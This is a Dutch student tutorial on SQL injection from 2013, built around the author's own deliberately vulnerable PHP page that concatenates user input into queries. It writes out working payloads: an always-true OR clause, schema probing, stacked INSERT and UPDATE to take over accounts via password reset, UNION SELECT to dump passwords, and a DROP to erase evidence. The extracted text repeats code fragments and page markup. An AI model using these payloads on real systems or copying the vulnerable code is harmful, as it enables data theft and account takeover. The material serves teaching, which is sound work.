1 SQL INJECTIE Door Eoghain Verdonckt Beveiliging december 20132 Voor mijn werkje voor beveiliging ga ik een tutorial maken voor SQL injectie. En hoe ...
Deze tabel en hun velden is vooral wat ons intereseert. De gebruikersinformatie van een website staat vaak in een SQL tabel. Indien we dus deze kunnen aanspreken zouden we dus Alle gebruikersinformatie van alle gebruikers van een website kunnen bemachtingen. Vervolgens heb ik een indexPagina gemaakt. Deze is vrij eenvoudig. Hij doet een oproep naar de databank, vraagt een aantal velden op en giet deze in een tabel. We werken nu via een manier die het mogelijk maakt om de keys van de array te gebruiken. Zodat indien de resultaat array meer velden bevat we deze dus eenvoudig kunnen toevoegen aan de tabel zonder dat de PHP code moet worden aangepast. Allereerst hebben we een aantal functies nodig: function do_offset($level){ $offset = ""; // offset for subarry for ($i=1; $i<$level;$i++){ $offset = $offset . "
"; } return $offset; }
function show_array($array, $level, $sub){ if (is_array($array) == 1){ // check if input is an array foreach($array as $key_val => $value) { if(!is_numeric($key_val)){ $offset = ""; if (is_array($value) == 1){ // array is multidimensional echo "
"; $offset = do_offset($level); echo $offset . "
" . $key_val . "
"; show_array($value, $level+1, 1); } else{ // (sub)array is not multidim if ($sub != 1){ // first entry for subarray echo "
\n"; } } } //foreach $array } else{ // argument $array is not an array return; } } function html_show_array($array){ echo "
\n"; show_array($array, 1, 0); echo "
\n"; } De vorige functies heb ik gekopieerd van: http://www.terrawebdesign.com/multidimensional.php Een kleine aanpassing was wel nodig doordat mijn DB alles dubbel terug gaf. Deze resultaten tonen we niet door de if(!is_numeric($key_val)){
function doQuery() { echo '
'; // Make a MySQL Connection mysql_connect("$hostname", "$usernameDb", "$passwordDb") or die(mysql_error()); mysql_select_db("goedkopertarief") or die(mysql_error() + "2"); $query = " SELECT `Email` , `FirstName`, `LastName`, `Address`, `City` FROM `SlachtOffer`"; $result = mysql_query($query) or die(mysql_error()); while ($resultArray = mysql_fetch_array($result)) { html_show_array($resultArray); } mysql_close(); } Dit is hoe we het eerst doen volgens de slechste manier. Jammer genoeg hebben we ook iets nodig waarmee we kunnen injecteren iets dat mee wordt gestuurd naar onze databank. Laten we de querry aanpassen zodat deze enkel de gebruikersInformatie toont van de gebruiker zelf function doQuery() { echo '
'; $id=1; //We houden deze tijdelijk nog even hard Coded, Sessions e.d. Is geen deal van onze opdracht. // Make a MySQL Connection mysql_connect("$hostname", "$usernameDb", "$passwordDb") or die(mysql_error()); mysql_select_db("goedkopertarief") or die(mysql_error() + "2"); $query = " SELECT `Email` , `FirstName`, `LastName`, `Address`, `City` FROM `SlachtOffer`" . "WHERE `PersonID`=".$id; $result = mysql_query($query) or die(mysql_error()); while ($resultArray = mysql_fetch_array($result)) { html_show_array($resultArray); } mysql_close(); }
Zoals duidelijk blijkt is de query gewoon een string. Je kan dus in $id aanpassen zodat de WHERE altijd waar is. function doQuery() { echo '
'; $id="1 OR 'x'='x'"; // Make a MySQL Connection mysql_connect("$hostname", "$usernameDb", "$passwordDb") or die(mysql_error()); mysql_select_db("goedkopertarief") or die(mysql_error() + "2"); $query = " SELECT `Email` , `FirstName`, `LastName`, `Address`, `City` FROM `SlachtOffer`" . "WHERE `PersonID`=".$id; $result = mysql_query($query) or die(mysql_error()); while ($resultArray = mysql_fetch_array($result)) { html_show_array($resultArray); } mysql_close(); } Deze query geeft dus altijd alle gebruikers. Maar hoe doen we dit nu niet HardCoded? Dit is niet realistisch in het echt zullen website de ID door krijgen van een link of formulier. We passen onze index.php aan zodat onze website realistischer is.
"; } return $offset; } function show_array($array, $level, $sub){ if (is_array($array) == 1){ // check if input is an array foreach($array as $key_val => $value) { if(!is_numeric($key_val)){ $offset = ""; if (is_array($value) == 1){ // array is multidimensional echo "
"; $offset = do_offset($level); echo $offset . "
" . $key_val . "
"; show_array($value, $level+1, 1); } else{ // (sub)array is not multidim if ($sub != 1){ // first entry for subarray echo "
\n"; } } } //foreach $array } else{ // argument $array is not an array return; } } function html_show_array($array){ echo "
\n"; show_array($array, 1, 0); echo "
\n"; }
function doQuery($id) { echo '
'; // Make a MySQL Connection mysql_connect("$hostname", "$usernameDb", "$passwordDb") or die(mysql_error()); mysql_select_db("goedkopertarief") or die(mysql_error() + "2"); $query = " SELECT `Email` , `FirstName`, `LastName`, `Address`, `City` FROM `SlachtOffer`" . "WHERE `PersonID`=".$id; $result = mysql_query($query) or die(mysql_error()); while ($resultArray = mysql_fetch_array($result)) { html_show_array($resultArray); } mysql_close(); } ?> <meta name="google-site-verification" content="03kbrrAHzdKMI7ebMRq2kUgAf4ruVJ2NEhApqRIKnnI" /> <meta charset="utf-8"> <meta property="og:title" content="goedkoper bellen, aardgas, elektriciteit en veel meer" /> <meta property="og:type" content="company" /> <meta property="og:url" content="http://www.goedkopertarief.be" /> <meta property="og:site_name" content="www.goedkopertarief.be" /> <meta property="fb:admins" content="1421775936" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Een site die je helpt besparen. GSM TELEFOON AARDGAS"> <meta name="author" content="Eoghain Verdonckt"> Welkom op goedkopertarief- Tutorial over SQL injection <style type="text/css"> html{ height: 100%; /* The html and body elements cannot have any padding or margin. */ } body { height: 100%; /* The html and body elements cannot have any padding or margin. */ } /* Wrapper for page content to push down footer */ #wrap { min-height: 100%; height: auto !important; height: 100%;
/* Negative indent footer by it's height */ margin: 0 auto -60px; } /* Set the fixed height of the footer here */ #push, #footer { height: 60px; } #footer { background-color: #f5f5f5; } /* Lastly, apply responsive CSS fixes as necessary */ @media (max-width: 767px) { #footer { margin-left: -20px; margin-right: -20px; padding-left: 20px; padding-right: 20px; } }
/* Custom page CSS -------------------------------------------------- */ /* Not required for template or sticky footer method. */ .fb-like{ width: 450px ; text-align: center; position: absolute; margin-left: auto ; margin-right: auto ; padding-top: 50px; } .container2 { padding-top: 15px; padding-left:15px; width: auto; max-width: 1080px; } .container2 .credit { margin: 20px 0; }
<script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/jquery.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstraptransition.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapalert.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapmodal.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapdropdown.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapscrollspy.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstraptab.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstraptooltip.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrappopover.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapbutton.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapcollapse.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstrapcarousel.js"> <script src="http://www.goedkopertarief.be/V2/bootstrap/docs/assets/js/bootstraptypeahead.js"> Je krijgt nu een link die je doorverwijst naar je gebruikersPagina. Laten we deze link aanpassen.
Normaal is de link: http://www.goedkopertarief.be//SQLINJECTION/index.php?id=1 Laten we er dit van maken: http://www.goedkopertarief.be//SQLINJECTION/index.php?id=1%20OR%20'x'='x' (%20 staat voor spatie, anders werkt het niet) En voila we hebben terug alle gebruikers.
In ons vorig deel hebben een link gebruikt nu gaan we alle gebruikers afhalen door SQL in een formulier te injecteren. We passen onze pagina aan zodat deze een form heeft waarin de gebruiker. De id meegeeft dit is redelijk absurd. Maar het is om duidelijk te maken hoe men SQL kan injecteren door een form. ….
…. Analoog indien de gebruiker in het input vel 1 OR 'x'='x' Geeft de form alle gebruikers terug.
Hoewel we op dit punt al redelijk veel weten over de gebruikers. Kunnen we echt nog veel meer laten we eens een eigen gebruiker toevoegen. Hiervoor hebben we de velden nodig. Ons eerste ontwerp is zo dom geweest om de zelfde gewoon in onze kolom te zetten. Indien dit niet zo zou zijn moet je een techniek toepassen die men 'schema field mapping' noemt. (bron: http://www.unixwiz.net/techtips/sql-injection.html) Bekijk volgende querry: SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --'; door '–-' te zetten kunnen we de laatste quote negeren. We hebben geen interesse in de waarde van het veld. Enkel de naam. Indien we dan een error krijgen weten we dat het veld email niet bestaat. Indien we een valid antwoord krijgen weten we dat het veld email bestaat. Wat we nog moeten weten is de tabel naam. Waar we onze record willen toevoegen. Dit kunnen we eenvoudig vinden door: SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1=(SELECT COUNT(*) FROM tabname); --'; Indien we terug een Valid response terug krijgen voor een tabname dan weten we dat de databank deze tabel heeft. Is dit echter wel de juiste tabel? SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND tabname.veldNaam IS NULL; --'; Dit kan je makkelijk testen door te kijken of een querry zoals de deze een valid response teruggeeft.
We weten nu alle velden en de tabel naam waar gebruikers in zijn opgeslagen. Door het volgende in onze tekstvel te typen maken we zo een gebruiker aan. 1; INSERT INTO `goedkopertarief`.`SlachtOffer` (`PersonID`, `LastName`, `Email`, `Password`, `FirstName`, `Address`, `City`) VALUES ('5598912', 'Fake', 'Fake', 'Fake', 'Fake', 'Fake', 'Fake');-Een ander leuk ding is het volgende: 1; UPDATE `SlachtOffer` SET `Email` = '[email protected]' WHERE `Email` = '[email protected]'; Indien je dan op de ik ben mijn wachtwoord vergeten link klikt krijg je in je mailbox het wachtwoord van jawel je gestolen acount.
1; SELECT * FROM `SlachtOffer` ; -Gelukkige draait mijn server op een one.com En voert deze maar 1 SELECT querry per keer uit. Hoewel deze SQL klopt wordt het response verhinderd en krijgen we de lijst toch niet te zien. 1 UNION SELECT `Email` , `Password`, `LastName`, `Address`, `City` FROM `SlachtOffer` ; -Dit kunnen we met Union Select omzeilen. 1; DROP * FROM `SlachtOffer` ; -Indien je alle bewijs materiaal wilt wissen. Of gewoon een echte crimineel bent.
Betere .php pagina: "; } return $offset; } function show_array($array, $level, $sub){ if (is_array($array) == 1){ // check if input is an array foreach($array as $key_val => $value) { if(!is_numeric($key_val)){ $offset = ""; if (is_array($value) == 1){ // array is multidimensional echo "
"; $offset = do_offset($level); echo $offset . "
" . $key_val . "
"; show_array($value, $level+1, 1); } else{ // (sub)array is not multidim if ($sub != 1){ // first entry for subarray echo "
'; } } ?> <meta name="google-site-verification" content="03kbrrAHzdKMI7ebMRq2kUgAf4ruVJ2NEhApqRIKnnI" /> <meta charset="utf-8"> <meta property="og:title" content="goedkoper bellen, aardgas, elektriciteit en veel meer" /> <meta property="og:type" content="company" /> <meta property="og:url" content="http://www.goedkopertarief.be" /> <meta property="og:site_name" content="www.goedkopertarief.be" /> <meta property="fb:admins" content="1421775936" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Een site die je helpt besparen. GSM TELEFOON
AARDGAS"> <meta name="author" content="Eoghain Verdonckt"> Welkom op goedkopertarief- Tutorial over SQL injection <style type="text/css"> html{ height: 100%; /* The html and body elements cannot have any padding or margin. */ } body { height: 100%; /* The html and body elements cannot have any padding or margin. */ } /* Wrapper for page content to push down footer */ #wrap { min-height: 100%; height: auto !important; height: 100%; /* Negative indent footer by it's height */ margin: 0 auto -60px; } /* Set the fixed height of the footer here */ #push, #footer { height: 60px; } #footer { background-color: #f5f5f5; } /* Lastly, apply responsive CSS fixes as necessary */ @media (max-width: 767px) { #footer { margin-left: -20px; margin-right: -20px; padding-left: 20px; padding-right: 20px; } }
/* Custom page CSS -------------------------------------------------- */ /* Not required for template or sticky footer method. */ .fb-like{ width: 450px ; text-align: center; position: absolute; margin-left: auto ;